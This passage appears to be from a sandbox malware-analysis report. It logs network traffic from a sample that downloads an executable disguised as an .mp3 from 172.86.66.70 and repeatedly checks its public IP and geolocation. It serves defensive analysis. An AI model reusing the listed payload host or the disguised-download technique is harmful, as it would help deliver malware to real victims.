Sep 26, 2024 12:12:37.424412012 CEST	443	49760	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:37.532705069 CEST	443	49760	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:37.532845020 CEST	443	49760	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:37.532907963 CEST	49760	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:37.537661076 CEST	49760	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:37.553162098 CEST	49761	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:37.745774984 CEST	80	49761	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:37.746004105 CEST	49761	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:37.746189117 CEST	49761	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:37.750968933 CEST	80	49761	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:38.233661890 CEST	80	49761	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:38.235193014 CEST	49762	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:38.235249043 CEST	443	49762	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:38.235316992 CEST	49762	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:38.235575914 CEST	49762	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:38.235594034 CEST	443	49762	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:38.285701036 CEST	49761	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:38.693775892 CEST	443	49762	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:38.695242882 CEST	49762	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:38.695314884 CEST	443	49762	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:38.842446089 CEST	443	49762	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:38.842716932 CEST	443	49762	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:38.842801094 CEST	49762	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:38.843333960 CEST	49762	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:38.846524000 CEST	49761	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:38.847595930 CEST	49763	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:38.851716995 CEST	80	49761	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:38.851778030 CEST	49761	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:38.852530956 CEST	80	49763	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:38.852608919 CEST	49763	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:38.852775097 CEST	49763	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:38.857532024 CEST	80	49763	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:39.308248043 CEST	80	49763	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:39.309778929 CEST	49764	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:39.309829950 CEST	443	49764	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:39.309902906 CEST	49764	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:39.310216904 CEST	49764	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:39.310226917 CEST	443	49764	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:39.348284960 CEST	49763	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:39.787705898 CEST	443	49764	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:39.791106939 CEST	49764	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:39.791131973 CEST	443	49764	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:39.925682068 CEST	443	49764	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:39.925928116 CEST	443	49764	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:39.926115036 CEST	49764	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:39.926477909 CEST	49764	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:39.930171013 CEST	49763	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:39.931505919 CEST	49765	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:39.935553074 CEST	80	49763	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:39.935632944 CEST	49763	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:39.936285973 CEST	80	49765	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:39.936361074 CEST	49765	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:39.936449051 CEST	49765	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:39.941515923 CEST	80	49765	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:40.418670893 CEST	80	49765	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:40.422039032 CEST	49766	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:40.422085047 CEST	443	49766	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:40.422276974 CEST	49766	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:40.422518969 CEST	49766	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:40.422530890 CEST	443	49766	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:40.473337889 CEST	49765	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:40.887135983 CEST	443	49766	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:40.889101028 CEST	49766	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:40.889122963 CEST	443	49766	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:41.044943094 CEST	443	49766	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:41.045061111 CEST	443	49766	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:41.045114994 CEST	49766	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:41.045895100 CEST	49766	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:41.048978090 CEST	49765	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:41.050086021 CEST	49767	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:41.054141045 CEST	80	49765	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:41.054209948 CEST	49765	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:41.054908991 CEST	80	49767	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:41.054972887 CEST	49767	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:41.055041075 CEST	49767	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:41.059756041 CEST	80	49767	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:41.509872913 CEST	80	49767	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:41.512319088 CEST	49768	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:41.512409925 CEST	443	49768	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:41.512490988 CEST	49768	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:41.512737989 CEST	49768	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:41.512773991 CEST	443	49768	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:41.551323891 CEST	49767	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:41.974893093 CEST	443	49768	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:41.986862898 CEST	49768	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:41.986942053 CEST	443	49768	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:42.124871016 CEST	443	49768	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:42.125193119 CEST	443	49768	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:42.125433922 CEST	49768	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:42.125838041 CEST	49768	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:42.149662971 CEST	49767	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.154938936 CEST	80	49767	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:42.155008078 CEST	49767	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.200320959 CEST	49769	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.205131054 CEST	80	49769	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:42.205198050 CEST	49769	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.212160110 CEST	49769	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.217035055 CEST	80	49769	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:42.659188032 CEST	80	49769	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:42.660175085 CEST	49770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:42.660208941 CEST	443	49770	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:42.660264969 CEST	49770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:42.660454988 CEST	49770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:42.660465002 CEST	443	49770	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:42.707571030 CEST	49769	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.772425890 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.777265072 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:42.777322054 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.777529955 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:42.782381058 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:43.117166042 CEST	443	49770	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.118932962 CEST	49770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.118962049 CEST	443	49770	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.237658978 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:43.241111040 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:43.246000051 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:43.266798973 CEST	443	49770	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.267081022 CEST	443	49770	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.267148972 CEST	49770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.267543077 CEST	49770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.340318918 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:43.404897928 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:43.426882982 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.426915884 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.426978111 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.431724072 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.431736946 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.470210075 CEST	49769	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:43.470315933 CEST	49759	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:43.945894003 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.945976019 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.947643042 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.947654963 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.948043108 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:43.988818884 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:43.995429993 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.039446115 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.107793093 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.108000040 CEST	443	49772	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.109031916 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.111928940 CEST	49772	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.115130901 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:44.120064020 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:44.222734928 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:44.235043049 CEST	49773	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.235075951 CEST	443	49773	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.235222101 CEST	49773	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.235492945 CEST	49773	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.235505104 CEST	443	49773	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.270077944 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:44.692037106 CEST	443	49773	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.694291115 CEST	49773	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.694319963 CEST	443	49773	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.843317032 CEST	443	49773	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.843421936 CEST	443	49773	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:44.843528032 CEST	49773	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.848856926 CEST	49773	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:44.887093067 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:44.888051987 CEST	49774	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:44.892249107 CEST	80	49771	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:44.892950058 CEST	80	49774	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:44.893023968 CEST	49771	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:44.893039942 CEST	49774	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:44.894802094 CEST	49774	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:44.899559975 CEST	80	49774	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:45.382812977 CEST	80	49774	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:45.387763023 CEST	49775	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:45.387845039 CEST	443	49775	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:45.387912989 CEST	49775	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:45.388534069 CEST	49775	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:45.388566017 CEST	443	49775	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:45.426325083 CEST	49774	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:45.871682882 CEST	443	49775	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:45.873158932 CEST	49775	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:45.873217106 CEST	443	49775	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:46.009457111 CEST	443	49775	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:46.009563923 CEST	443	49775	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:46.009614944 CEST	49775	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:46.010024071 CEST	49775	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:46.013415098 CEST	49774	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:46.014700890 CEST	49776	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:46.018461943 CEST	80	49774	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:46.018507957 CEST	49774	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:46.019500017 CEST	80	49776	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:46.019567013 CEST	49776	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:46.019653082 CEST	49776	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:46.024410963 CEST	80	49776	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:46.494271994 CEST	80	49776	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:46.495382071 CEST	49777	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:46.495417118 CEST	443	49777	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:46.495487928 CEST	49777	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:46.495734930 CEST	49777	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:46.495742083 CEST	443	49777	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:46.551357985 CEST	49776	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:46.587490082 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:46.952353954 CEST	443	49777	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:46.971446037 CEST	49777	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:46.971474886 CEST	443	49777	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:47.084270954 CEST	443	49777	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:47.084352970 CEST	443	49777	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:47.084403038 CEST	49777	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:47.084840059 CEST	49777	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:47.088881969 CEST	49778	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:47.093724012 CEST	80	49778	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:47.093928099 CEST	49778	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:47.094053984 CEST	49778	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:47.098859072 CEST	80	49778	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:47.548525095 CEST	80	49778	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:47.549819946 CEST	49779	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:47.549864054 CEST	443	49779	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:47.549933910 CEST	49779	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:47.550192118 CEST	49779	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:47.550206900 CEST	443	49779	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:47.598251104 CEST	49778	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:48.021339893 CEST	443	49779	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:48.039885998 CEST	49779	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:48.039911032 CEST	443	49779	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:48.175668955 CEST	443	49779	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:48.175884008 CEST	443	49779	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:48.175956964 CEST	49779	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:48.180609941 CEST	49779	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:48.193141937 CEST	49778	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:48.193746090 CEST	49780	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:48.198434114 CEST	80	49778	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:48.198513985 CEST	49778	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:48.198565960 CEST	80	49780	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:48.198636055 CEST	49780	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:48.200185061 CEST	49780	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:48.204994917 CEST	80	49780	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:48.687335968 CEST	80	49780	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:48.688493013 CEST	49781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:48.688539028 CEST	443	49781	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:48.688620090 CEST	49781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:48.688843966 CEST	49781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:48.688858986 CEST	443	49781	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:48.738874912 CEST	49780	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:49.361232996 CEST	443	49781	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:49.362826109 CEST	49781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:49.362865925 CEST	443	49781	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:49.602257013 CEST	443	49781	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:49.602919102 CEST	443	49781	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:49.606724024 CEST	49781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:49.607014894 CEST	49781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:49.609970093 CEST	49780	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:49.611025095 CEST	49782	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:49.615147114 CEST	80	49780	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:49.615910053 CEST	80	49782	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:49.616084099 CEST	49780	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:49.616128922 CEST	49782	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:49.616223097 CEST	49782	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:49.620982885 CEST	80	49782	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:50.116205931 CEST	80	49782	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:50.117574930 CEST	49783	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:50.117624044 CEST	443	49783	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:50.117716074 CEST	49783	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:50.117947102 CEST	49783	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:50.117960930 CEST	443	49783	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:50.160754919 CEST	49782	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:50.764091015 CEST	443	49783	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:50.771262884 CEST	49783	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:50.771301985 CEST	443	49783	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:50.978832960 CEST	443	49783	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:50.978939056 CEST	443	49783	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:50.979017019 CEST	49783	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:50.986160040 CEST	49783	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:50.999063015 CEST	49782	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:50.999600887 CEST	49784	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:51.004374027 CEST	80	49782	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:51.004406929 CEST	80	49784	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:51.004477024 CEST	49782	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:51.004509926 CEST	49784	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:51.007996082 CEST	49784	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:51.012789011 CEST	80	49784	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:51.469219923 CEST	80	49784	193.122.130.0	192.168.2.4
Sep 26, 2024 12:12:51.470514059 CEST	49785	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:51.470603943 CEST	443	49785	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:51.470690966 CEST	49785	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:51.471085072 CEST	49785	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:51.471118927 CEST	443	49785	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:51.520107031 CEST	49784	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:51.928380013 CEST	443	49785	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:51.930001974 CEST	49785	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:51.930038929 CEST	443	49785	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:52.075593948 CEST	443	49785	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:52.075696945 CEST	443	49785	188.114.96.3	192.168.2.4
Sep 26, 2024 12:12:52.075773954 CEST	49785	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:52.076312065 CEST	49785	443	192.168.2.4	188.114.96.3
Sep 26, 2024 12:12:52.207087994 CEST	49776	80	192.168.2.4	193.122.130.0
Sep 26, 2024 12:12:52.207225084 CEST	49784	80	192.168.2.4	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 12:12:11.237385035 CEST	59450	53	192.168.2.4	1.1.1.1
Sep 26, 2024 12:12:11.245455027 CEST	53	59450	1.1.1.1	192.168.2.4
Sep 26, 2024 12:12:11.899429083 CEST	52174	53	192.168.2.4	1.1.1.1
Sep 26, 2024 12:12:11.908741951 CEST	53	52174	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 12:12:11.237385035 CEST	192.168.2.4	1.1.1.1	0xa892	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 12:12:11.899429083 CEST	192.168.2.4	1.1.1.1	0x4db3	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 12:12:11.245455027 CEST	1.1.1.1	192.168.2.4	0xa892	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 12:12:11.245455027 CEST	1.1.1.1	192.168.2.4	0xa892	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 12:12:11.245455027 CEST	1.1.1.1	192.168.2.4	0xa892	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 12:12:11.245455027 CEST	1.1.1.1	192.168.2.4	0xa892	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 12:12:11.245455027 CEST	1.1.1.1	192.168.2.4	0xa892	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 12:12:11.245455027 CEST	1.1.1.1	192.168.2.4	0xa892	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 12:12:11.908741951 CEST	1.1.1.1	192.168.2.4	0x4db3	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 12:12:11.908741951 CEST	1.1.1.1	192.168.2.4	0x4db3	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

172.86.66.70

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	172.86.66.70	80	6036	C:\Users\user\Desktop\Ref_336210627.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:11:56.837771893 CEST	77	OUT	GET /y3/Lusnteor.mp3 HTTP/1.1 Host: 172.86.66.70 Connection: Keep-Alive
Sep 26, 2024 12:11:57.488774061 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:11:57 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Wed, 25 Sep 2024 23:50:08 GMT ETag: "1c1400-622fa4827cc00" Accept-Ranges: bytes Content-Length: 1840128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: audio/mpeg Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 